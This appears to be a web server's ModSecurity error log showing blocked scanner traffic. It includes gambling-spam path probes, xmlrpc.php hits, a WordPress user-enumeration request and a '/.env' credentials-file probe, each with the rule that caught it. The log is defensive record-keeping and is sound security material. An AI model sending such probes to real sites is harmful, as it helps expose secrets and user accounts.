[Sun Mar 08 21:15:05.931011 2026] [:error] [pid 43671:tid 43723] [client 65.108.125.120:58174] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aa12Wa6AdwroU1gT3XHAXAAAAEA"]
[Sun Mar 08 21:15:07.978453 2026] [:error] [pid 43671:tid 43747] [client 65.108.125.120:60412] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aa12W66AdwroU1gT3XHAYgAAAFg"]
[Sun Mar 08 21:15:10.044972 2026] [:error] [pid 43671:tid 43747] [client 65.108.125.120:60422] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aa12Xq6AdwroU1gT3XHAbQAAAFg"]
[Sun Mar 08 21:15:11.962467 2026] [:error] [pid 10427:tid 10440] [client 65.108.125.120:60438] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aa12X-uBPlvYOFwlpaeG-AAAAME"]
[Sun Mar 08 21:15:14.027232 2026] [:error] [pid 22669:tid 22765] [client 65.108.125.120:60452] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aa12YmvqAhy8LIaua-qWJwAAAsY"]
[Sun Mar 08 21:15:16.052952 2026] [:error] [pid 10427:tid 10467] [client 65.108.125.120:60466] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aa12ZOuBPlvYOFwlpaeG-gAAAMo"]
[Sun Mar 08 21:15:18.104729 2026] [:error] [pid 43671:tid 43743] [client 65.108.125.120:31570] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aa12Zq6AdwroU1gT3XHAggAAAFQ"]
[Sun Mar 08 21:15:20.128169 2026] [:error] [pid 43671:tid 43745] [client 65.108.125.120:31580] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aa12aK6AdwroU1gT3XHAigAAAFY"]
[Sun Mar 08 21:15:22.078968 2026] [:error] [pid 43671:tid 43738] [client 65.108.125.120:31592] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aa12aq6AdwroU1gT3XHAlAAAAE8"]
[Sun Mar 08 21:15:23.974014 2026] [:error] [pid 43671:tid 43735] [client 65.108.125.120:31606] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aa12a66AdwroU1gT3XHAmgAAAEw"]
[Sun Mar 08 21:15:26.035186 2026] [:error] [pid 10524:tid 10607] [client 65.108.125.120:31610] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aa12btJkfNNXb-EWpCBgbgAAAhE"]
[Sun Mar 08 21:15:28.107766 2026] [:error] [pid 22668:tid 22745] [client 65.108.125.120:24582] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aa12cOmzLHpblwnQgPglnQAAAo0"]
[Sun Mar 08 21:15:29.997634 2026] [:error] [pid 10418:tid 10442] [client 65.108.125.120:24598] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aa12cZ8yUuQe5_Zv90n0ZwAAAAI"]
[Sun Mar 08 21:15:32.079134 2026] [:error] [pid 10427:tid 10450] [client 65.108.125.120:24608] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aa12dOuBPlvYOFwlpaeG_QAAAMQ"]
[Sun Mar 08 21:18:27.050796 2026] [:error] [pid 22669:tid 22759] [client 49.149.75.204:41967] [client 49.149.75.204] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aa13I2vqAhy8LIaua-qXAAAAAsA"]
[Sun Mar 08 22:50:13.192045 2026] [:error] [pid 10524:tid 10598] [client 160.238.92.233:4565] [client 160.238.92.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.238.92.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa2MpdJkfNNXb-EWpCBtMgAAAgg"]
[Sun Mar 08 22:50:17.469031 2026] [:error] [pid 43671:tid 43732] [client 160.238.92.233:3724] [client 160.238.92.233] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa2Mqa6AdwroU1gT3XEI6gAAAEk"]
[Sun Mar 08 22:50:50.406147 2026] [:error] [pid 22788:tid 22878] [client 160.238.92.233:4846] [client 160.238.92.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.238.92.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa2Mykhwluk21OG9mSdePwAAA5c"]
[Sun Mar 08 22:58:09.857131 2026] [:error] [pid 43671:tid 43738] [client 160.238.92.233:4244] [client 160.238.92.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.238.92.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa2Oga6AdwroU1gT3XENbwAAAE8"]
[Sun Mar 08 23:03:58.753166 2026] [:error] [pid 22668:tid 22738] [client 160.238.92.233:5286] [client 160.238.92.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.238.92.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa2P3umzLHpblwnQgPhEKwAAAoY"]
[Sun Mar 08 23:08:28.637149 2026] [:error] [pid 43671:tid 43732] [client 160.238.92.233:5110] [client 160.238.92.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.238.92.233, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa2Q7K6AdwroU1gT3XESEAAAAEk"]
[Sun Mar 08 23:25:42.272679 2026] [:error] [pid 22668:tid 22736] [client 43.130.60.195:37928] [client 43.130.60.195] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aa2U9umzLHpblwnQgPhIVQAAAoQ"]
[Sun Mar 08 23:27:13.694516 2026] [:error] [pid 22787:tid 22836] [client 49.37.10.128:63509] [client 49.37.10.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.10.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa2VUUF9MGMhk9pT4z46KAAAA0g"]
[Sun Mar 08 23:30:33.465794 2026] [:error] [pid 43671:tid 43746] [client 49.37.10.128:65035] [client 49.37.10.128] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aa2WGa6AdwroU1gT3XEfigAAAFc"]
[Sun Mar 08 23:31:54.265004 2026] [:error] [pid 43671:tid 43744] [client 49.37.10.128:49315] [client 49.37.10.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.10.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa2Waq6AdwroU1gT3XEgFwAAAFU"]
[Sun Mar 08 23:33:14.300128 2026] [:error] [pid 22788:tid 22860] [client 49.37.10.128:49778] [client 49.37.10.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.10.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aa2Wukhwluk21OG9mSdtdAAAA4U"]
[Sun Mar 08 23:59:56.373061 2026] [:error] [pid 22788:tid 22870] [client 117.33.163.216:53028] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aa2c_Ehwluk21OG9mSd21QAAA48"]
[Mon Mar 09 00:28:11.325272 2026] [:error] [pid 49419:tid 49664] [client 54.36.179.84:42466] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aa2jm_SUwH6DJwBBi5BkyAAAABc"]
[Mon Mar 09 00:28:13.178332 2026] [:error] [pid 49677:tid 49732] [client 54.36.179.84:51860] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aa2jndgMztaTv5fI2XrObQAAAIQ"]
[Mon Mar 09 00:28:15.123067 2026] [:error] [pid 49419:tid 49659] [client 54.36.179.84:51866] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aa2jn_SUwH6DJwBBi5Bk1QAAABI"]
[Mon Mar 09 00:28:16.927046 2026] [:error] [pid 49677:tid 49730] [client 54.36.179.84:49060] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aa2joNgMztaTv5fI2XrOggAAAII"]
[Mon Mar 09 00:28:19.030871 2026] [:error] [pid 49392:tid 49609] [client 54.36.179.84:49076] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aa2jo7hnfLjo2gwJdbEriQAAAFc"]
[Mon Mar 09 00:28:21.141914 2026] [:error] [pid 49677:tid 49750] [client 54.36.179.84:49090] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aa2jpdgMztaTv5fI2XrOmAAAAJY"]
[Mon Mar 09 00:28:23.231165 2026] [:error] [pid 49677:tid 49733] [client 54.36.179.84:49102] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aa2jp9gMztaTv5fI2XrOzwAAAIU"]
[Mon Mar 09 00:28:25.139684 2026] [:error] [pid 49392:tid 49587] [client 54.36.179.84:49110] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aa2jqbhnfLjo2gwJdbEroQAAAEE"]
[Mon Mar 09 00:28:27.107877 2026] [:error] [pid 49677:tid 49745] [client 135.181.213.219:42618] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "aa2jq9gMztaTv5fI2XrO7wAAAJE"]
[Mon Mar 09 00:28:27.236878 2026] [:error] [pid 49677:tid 49738] [client 54.36.179.84:41180] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aa2jq9gMztaTv5fI2XrO8AAAAIo"]
[Mon Mar 09 00:28:29.105310 2026] [:error] [pid 49677:tid 49728] [client 135.181.213.219:42624] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "aa2jrdgMztaTv5fI2XrO-QAAAIA"]
[Mon Mar 09 00:28:29.166102 2026] [:error] [pid 49392:tid 49603] [client 54.36.179.84:41188] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aa2jrbhnfLjo2gwJdbErrQAAAFE"]
[Mon Mar 09 00:28:31.074854 2026] [:error] [pid 49419:tid 49660] [client 54.36.179.84:41190] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aa2jr_SUwH6DJwBBi5Bk-QAAABM"]
[Mon Mar 09 00:28:31.104110 2026] [:error] [pid 49419:tid 49659] [client 135.181.213.219:47958] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "aa2jr_SUwH6DJwBBi5Bk-gAAABI"]
[Mon Mar 09 00:28:33.142090 2026] [:error] [pid 49677:tid 49740] [client 54.36.179.84:41200] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aa2jsdgMztaTv5fI2XrPEQAAAIw"]
[Mon Mar 09 00:28:35.050630 2026] [:error] [pid 49419:tid 49663] [client 54.36.179.84:41206] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aa2js_SUwH6DJwBBi5BlBAAAABY"]
[Mon Mar 09 00:28:36.977251 2026] [:error] [pid 49677:tid 49728] [client 54.36.179.84:43876] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aa2jtNgMztaTv5fI2XrPJwAAAIA"]
[Mon Mar 09 00:28:38.742817 2026] [:error] [pid 49419:tid 49656] [client 54.36.179.84:43882] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aa2jtvSUwH6DJwBBi5BlCQAAAA8"]
[Mon Mar 09 00:28:40.667516 2026] [:error] [pid 49677:tid 49742] [client 54.36.179.84:43884] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aa2juNgMztaTv5fI2XrPNQAAAI4"]
[Mon Mar 09 00:28:47.170205 2026] [:error] [pid 49677:tid 49739] [client 135.181.213.219:20744] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "aa2jv9gMztaTv5fI2XrPUwAAAIs"]
[Mon Mar 09 00:28:49.171431 2026] [:error] [pid 49677:tid 49739] [client 135.181.213.219:20754] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "aa2jwdgMztaTv5fI2XrPXQAAAIs"]
[Mon Mar 09 00:28:51.172931 2026] [:error] [pid 49419:tid 49648] [client 135.181.213.219:46108] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "aa2jw_SUwH6DJwBBi5BlFAAAAAc"]
[Mon Mar 09 00:28:53.204037 2026] [:error] [pid 49677:tid 49733] [client 135.181.213.219:46114] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aa2jxdgMztaTv5fI2XrPcAAAAIU"]
[Mon Mar 09 00:28:55.051496 2026] [:error] [pid 49677:tid 49749] [client 135.181.213.219:46116] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aa2jx9gMztaTv5fI2XrPfQAAAJU"]
[Mon Mar 09 00:30:29.436416 2026] [:error] [pid 49677:tid 49744] [client 43.157.142.101:59604] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aa2kJdgMztaTv5fI2XrQ1gAAAJA"]
[Mon Mar 09 00:35:25.654864 2026] [:error] [pid 49392:tid 49597] [client 18.223.123.222:65405] [client 18.223.123.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aa2lTbhnfLjo2gwJdbEvpQAAAEs"]
[Mon Mar 09 00:35:27.061557 2026] [:error] [pid 49419:tid 49641] [client 18.223.123.222:64209] [client 18.223.123.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aa2lT_SUwH6DJwBBi5BnfAAAAAA"]
